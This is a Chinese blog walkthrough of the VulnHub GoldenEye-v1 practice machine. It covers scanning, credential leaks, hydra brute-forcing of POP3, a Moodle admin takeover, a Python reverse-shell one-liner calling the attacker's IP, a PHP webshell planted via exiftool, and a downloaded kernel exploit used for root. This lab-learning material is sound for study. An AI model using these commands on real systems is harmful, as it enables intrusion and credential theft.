freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

vulnhub--GoldenEye-v1渗透测试
Tiancat 2021-10-30 22:21:15 151931

基本信息

靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/靶机发布日期:2018年5月4日 靶机描述:靶机命名来自詹士邦系列的电影——GoldenEye 目标:得到root权限&找到flag.txt 作者:tiancat 时间:2021.10.22

参考博客:https://blog.csdn.net/qq_34801745/article/details/103724325?spm=1001.2014.3001.5502(感谢大余)

环境搭建

靶机本来是仅主机模式,改为nat模式,更方便一些

image-20211022222523566

Nmap&目录扫描

网段为192.168.85.0,具体ip得先用nmap扫描一下(因为事先是不知道dhcp分配的ip地址)

nat模式下,kali和靶机,知道了网段,那么开始就使用nmap扫描一下85网段,

nmap -sV -sP 192.168.85.0/24-sV服务版本,-sP发现扫描网络存活主机

image-20211022233630656

nmap -sS -sV -T5 -A -p- 192.168.85.129

-sS隐蔽扫描(半开syn),-sV服务版本,-T 时间优化(0-5)等级,数字越大力度越强,-A 综合扫描,-p-全端口(1-65535)image-20211022233613924

发现http服务端口为80,http://192.168.85.129/

python dirsearch.py -u http://192.168.85.129/ -e *用dirsearch.py扫描目录,-e * 扫描所有类型的脚本语言

(因为是自己后阶段复盘做的,所以ip地址变成了128,无伤大雅)image-20211028011806034

只有一个/index.html ,其他大部分是4XX,没太大用处。加深自己对4XX类型响应状态码印象

400 Bad Request(错误请求)
服务器拿到请求内容时发现请求的内容有问题,没法给你做出相对结果,就需要返回状态码400告诉客户端,你的请求内容有问题
401 Unauthorized (未验证)
当客户端请求服务器资源时,但是服务器说了:‘你要是想得到这资源的话,需要你的身份认证,请你按照我的提出的认证方法
403 Forbidden 拒绝的访问
404 Not Found 没有发现资源

dirmap是一个高级web目录扫描工具,功能将会强于DirBuster、Dirsearch、cansina、御剑。(不死心继续扫目录)

python dirmap.py -i http://192.168.85.128/ -lcf

image-20211028012913328

/terminal.js 和 /index.css , js源码文件可以去看看

查看.js源码--敏感信息泄露

后来看了一下其他人教程,原来主站F12就可以看到 /terminal.js 文件了。

主站提示了一个登录的路径/sev-home/image-20211024164007358.png

image-20211024170251708

查看这个文件,从这些注释当中得知,很多人名,或许是用户名,然后翻译一下

//Boris,确保更新默认密码。
//我的消息来源说军情六处可能计划渗透。
//留意任何可疑的网络流量。。。。
//我给你编码p@ssword在下面
//InvincibleHack3r
//顺便说一句Natalya说她能破解你的密码

关键信息:人名:Boris、Natalya

经过编码的password:InvincibleHack3rimage-20211024163835102

解码了密码:InvincibleHack3r,由于上面已经找到了有效的用户名,尝试下使用用户名密码登陆

从主站提示的登录的路径访问/sev-home/

用户名:Boris 密码:InvincibleHack3r //这里被坑了,用户名要小写image-20211028013826851

image-20211024190035954

还是看看翻译,看能不能得到有效信息

image-20211028014035334

image-20211024190622312

非常有效,构成我们的pop3服务上运行在一个非常规的端口

检查主页的html内容,从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务。

POP3是Post Office Protocol 3的简称,即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电子协议。它是因特网电子邮件的第一个离线协议标准,POP3允许用户从服务器上把邮件存储到本地主机(即自己的计算机)上,同时删除保存在邮件服务器上的邮件,而POP3服务器则是遵循POP3协议的接收邮件服务器,用来接收电子邮件的

由于我们已经在第一步中对目标IP进行了比较完整的Nmap扫描,因此我们已经知道运行POP3服务器的端口:55006、55007,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器上/访问发现是55007端口:image-20211025225453325

另外,在分析“ terminal.js”的HTML内容时,我们在注释中发现一条注释,指出目标系统或许没用更改之前的默认密码。

hydra破解pop3服务

因此,让我们尝试使用在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:

正如每一项密码安全研究所显示的那样,最大的安全漏洞之一是密码。Hydra是一个并行登录破解程序,支持多种攻击协议。新的模块很容易添加,除此之外,它是灵活和非常快速的。
目前,该工具支持:
AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、HTTP-FORM-GET、HTTP-FORM-POST、HTTP-GET、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-PROXY、ICQ、IMAP、IRC、LDAP、MS-SQL、MYSQL、NCP、NNTP、Oracle侦听器、Oracle SID、Oracle、PC Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、,SIP、SMB、SMTP、SMTP枚举、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware Auth、VNC和XMPP。
对于HTTP、POP3、IMAP和SMTP,支持几种登录机制

摘自https://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html

hydra -L huanghong.txt -P /usr/share/wordlists/fasttrack.txt 192.168.85.128 -s 55007 pop3

-L 指定用户名字典 -P 指定密码字典 -s 可通过这个参数指定非默认端口

示例:破解ssh  # hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh  
-t 同时运行的线程数,默认为16 -vV显示详细过程 -e <ns>可选选项,n:空密码试探,s:使用指定用户和密码试探

写一个用户名.txt为huanghong.txt,注意\n 是换行符image-20211024215318058

image-20211024221438426

image-20211024221500379

我们可以看到暴力攻击已成功,并且该工具已破解了用户“ boris、natalya”的密码。 使用命令:

echo -e ‘natalya\nboris’ > dayu.txt(创建文本包含两个用户名)hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.182.141 -s 55007 pop3(以文本内容使用hydra攻击) 用户:boris 密码:secret1! 用户:natalya 密码:bird 我使用Netcat(简称nc)实用程序通过pop3端口并使用用户“ boris、natalya”凭据登录到目标服务器邮箱中。

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。内建有很多实用的工具

参考链接:https://www.jianshu.com/p/14fc8540440a

pop3登录指令学习

1.png

image-20211025224822739

image-20211025224858441

image-20211025224914846

三封邮件的主要内容翻译

1:鲍里斯,我是管理员。你可以通过电子方式与这里的同事和学生交流。我不会扫描电子邮件的安全风险,因为我信任你和其他管理员

2:鲍里斯,我能破解你的密码!

3:鲍里斯,你与我们辛迪加的合作将获得巨大的回报。附件是GoldenEye的最终访问代码。将它们放在根目录中的隐藏文件中

第二封来自用户“natalya”,称她可以破解鲍里斯的密码。 第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。

现在使用natalya用户登录看看有什么有用的信息… (使用之前破解出来的账户密码登录)image-20211025230858900

image-20211025230916522

image-20211025230938304

主要内容:

1:娜塔莉亚,拜托你不要再破坏鲍里斯的密码了。此外,您还是GNO培训主管。一旦有学生指定给你,我会给你发电子邮件。此外,要小心可能的网络漏洞。我们有情报说GoldenEye正被一个叫Janus的犯罪集团追捕。

2:好的,娜塔琳,我有一个新学生给你。由于这是一个新系统,如果您看到任何配置问题,请让我或boris知道,尤其是与安全相关的问题…即使不是,也只需以“安全”的名义输入它…它将升级变更单,而不会带来太多麻烦:)

好的,用户信誉是:

用户名:xenia

密码:RCP90rulez!

Boris确认她是一个有效的承包商,所以只需创建帐户,好吗?如果您在outr内部域上没有URL:severnaya-station.com/gnocertdir **请确保编辑您的主机文件,因为您通常在远程网络之外工作。。。。 由于您是Linux用户,只需将此服务器IP指向/etc/hosts中的severnaya-station.com即可。

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,要求我们在本地服务hosts中添加域名信息: 用户名:xenia 密码:RCP90rulez! 域:severnaya-station.com 网址:severnaya-station.com/gnocertdir 我们现根据邮件提示添加本地域名:severnaya-station.com

image-20211025231317506

在上面的屏幕截图中,我们可以看到URL已成功添加到目标计算机上。因此,让我们在浏览器中打开此URL。

image-20211028000251961

终于在目标计算机上运行了Web应用程序,多亏了我们看到的上一封电子邮件。 刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用刚刚在邮件获得的用户密码进行登陆。 用户名:xenia 密码:RCP90rulez!

登录(翻译页面了,不然看不懂)

image-20211028162337879



再扫描目录试试

现在域名ip绑定了,是不是又可以再次进行目录扫描,能不能发现更多有用信息呢。直接dirmap扫

python dirmap.py -i http://severnaya-station.com/gnocertdir -lcf

image-20211028021132323

http://severnaya-station.com/gnocertdir/tags
http://severnaya-station.com/gnocertdir/README.txt
http://severnaya-station.com/gnocertdir/login/
http://severnaya-station.com/gnocertdir/auth/
http://severnaya-station.com/gnocertdir/config.php
http://severnaya-station.com/gnocertdir/index.php
http://severnaya-station.com/gnocertdir/index.php/login/

找到有效的有三处,一个登录点和下图两个,图一翻译过了,就是靶机作者是搭建moodle的源码,这是一个开源的CMS系统

image-20211028021439919

image-20211028021526191

目录扫描暂时看不到作用

接下来翻一下站点消息,发给doak的消息

image-20211028163320850

image-20211028163420395

内容发现用户名doak,继续使用hydra攻击,用户名:doak 密码:goat hydra已成功破解了用户doak的密码,使用账号密码继续登陆pop3邮件。

image-20211028164805396

image-20211028164913302

username: dr_doak password: 4England!

詹姆斯,如果你正在读这篇文章,恭喜你走了这么远。你知道tradecraft是怎么运作的吗?因为我没有。进入我们的培训网站并登录到我的帐户…挖掘直到你可以过滤更多信息

邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。使用新的账户密码登录CMS。

image-20211028165537779

进来后进入my home,看到右边,发现了一个s3cret.txt文件。另外发现这是Moodle使用的2.2.3版本

image-20211028165718745

007,我能够通过clear txt捕获此应用程序adm1n cr3ds。GoldenEye服务器中的大多数web应用程序中的文本都经过扫描,因此我无法在此处添加cr3dentials。这里有一些有趣的东西:/dir007key/for-007.jpg   正如你可能知道的,RCP-90比任何其他武器都要优越得多,杀戮许可证是唯一的游戏方式。

访问提示的这个路径/dir007key/for-007.jpg

image-20211028165855592

现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。可以使用浏览器下载,也可以使用命令:wget http://severnaya-station.com/dir007key/for-007.jpg下载到本地。 根据邮件提示让我们检查图片内容,下载图片后,我们可以使用binwalk(路由逆向分析工具)、exiftool(图虫)、strings(识别动态库版本指令)等查看jpg文件底层内容。

kali没有安装exiftool,只能下载一个了

什么是EXIF
可交换图像文件格式常被简称为Exif(Exchangeable image file format),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。Exif 可以被附加在 JPEG、TIFF、RIFF 等文件之中,为其增加有关数码相机拍摄信息的内容和缩略图或图像处理软件的一些版本信息

安装 apt-get install exiftool

为一个图片生成图片码,图片码为我们的木马
exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"

image-20211028221508957

image-20211028221611482

eFdpbnRlcjE5OTV4IQ==

strings 命令在对象文件或二进制文件中查找可打印的字符串。字符串是 4 个或更多可打印字符的任意序列,以换行符或空字符结束。 strings 命令对识别随机对象文件很有用
在对象文件或二进制文件中查找可打印的字符串


image-20211028221845474

image-20211028223048842

使用binwalk没能查出有用信息,用exiftool和strings解析得到Image Description : eFdpbnRlcjE5OTV4IQ== 显示的是base-64编码的字符串(两个等号表示它是base-64编码的字符串)。基数为64的编码字符串如下所示:

eFdpbnRlcjE5OTV4IQ==

image-20211028222742098

在线网站可以直接解密了,我用的是火狐的hackbar,也比较方便

xWinter1995x!

线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。

这里我不是很理解解密的一个密码怎么能猜到admin用户的,经验吧可能是,这里也可以是另一种思路,已知密码猜测用户名,那么直接可以拿用户名本子进行爆破。

用户名:admin 密码:xWinter1995x!

image-20211028223216585



burp、xray联动进行被动扫描

按照自己的渗透习惯,过分依赖工具,不过效率也许会高一丢丢

xray_windows_amd64_old_1.7.1.exe webscan --listen 127.0.0.1:1664 --html-output bachang123.html

xray监听1664端口

image-20211028224157116

image-20211028224128156

把所有流量过一遍,网站所有流量从burp代理过一遍到xray,然后bp和xray都会有被动扫描,使用playload自动过一遍请求

就发现一个敏感文件泄露,就没了.......(就很无语)

image-20211028225612954

image-20211028225711425

密码明文传输,这玩意误报率贼高,只要是扫到password字段就可能判断为明文传输

版本信息泄露入手

只能从版本信息泄露这里找公开的已知漏洞或开源源码代码审计了

image-20211028225848833

这是Moodle使用的2.2.3版本,直接百度吧

image-20211028230147996

image-20211028230347445

找到编号,CVE-2013-3630



msf失败


msfconsole

设置用户名:admin 设置密码:xWinter1995x! 设置:rhosts severnaya-station.com 设置:targeturi / gnocertdir 设置payload:cmd / unix / reverse 设置:lhost 192.168.1.45

image-20211028233509738


image-20211028233622315


image-20211028233654239

image-20211028233715298

按道理应该能获取www低权限,经过百度谷歌多方面咨询大神,是因为我kali中MSF版本升级太高,会遇到RCE无法渗透问题,这里耽误了很多时间



反弹shell

http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths

http://severnaya-station.com/gnocertdir/blog/edit.php?action=add


由于我们已经使用了管理员admin用户登录页面,可以进行网站管理,在页面中找到了Site administration-Server-System paths 网站管理系统路径,发现可以上传代码。

image-20211028234440046


这里可以用到python代码,进行反弹shell渗透。 使用代码:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.85.131",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

image-20211028234728420


image-20211029014140563

image-20211029014403922

传递数据


image-20211029014120615

nc开启监听 nc -lnvp 6666

image-20211029014152883


image-20211029014214110

当我运行id命令时,它表明该用户不是root用户,这是www-data的网站权限


提权

linux提权学习

uname -a

cat /proc/version

cat /etc/issue

image-20211029174906408

searchsploit linux ubuntu 3.13.0

find / -name "44696.rb"

image-20211030213646011

image-20211030213751513

cp /usr/share/exploitdb/exploits/linux/local/37292.c ~/桌面复制到桌面。

image-20211030213956185

看看靶机有没有gcc命令,查看了一下好像没有。查看gcc版本gcc--version

image-20211030214116093

靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译

vim ~/桌面/37292.c 将gcc改成cc

image-20211030214535292

本地开启服务。python -m SimpleHTTPServer 8080

使用wget下载37292.c脚本到靶机的tmp目录。

image-20211030214812725

image-20211030214931769

别下载错目录了

用cc编译,赋予可执行权限后,运行exp。

./exp 运行image-20211030215404335

image-20211030215430935

image-20211030215529763

提权成功

根据挑战的描述,目标是得到root权限&找到flag.txt。image-20211030215919092

复盘一手

整个靶场我认为难点是打点,信息收集很重要,要查看js源码里面的信息泄露情况,还要爆破pop3服务,如果没有那几个用户名作为关键字估计是不太可能爆破出来,后台页面没有admin用户登录也不能反弹shell,admin密码也不能爆破出来,因为有大小写字母、数字、字符,这几乎不太可能了,如果字典很强当我没说。这里可以使用爆破,密码明文传输

image-20211030220919894

绕的弯路有很多,单说这个扫描,几乎是没什么作用

还有msf为什么拿不到shell?不是很懂

太晚了,复盘到这吧

# 渗透测试 # web安全 # 系统安全 # CTF # vulnhub靶机
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Tiancat 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Tiancat LV.4
这家伙太懒了,还未填写个人描述!
  • 13 文章数
  • 34 关注者
【高危】CVE-2021-4034漏洞验证以及修复
2022-01-26
VulnHub-W1R3S: 1渗透学习
2021-12-17
内网攻防学习Day1——常见的内网结构
2021-11-26
文章目录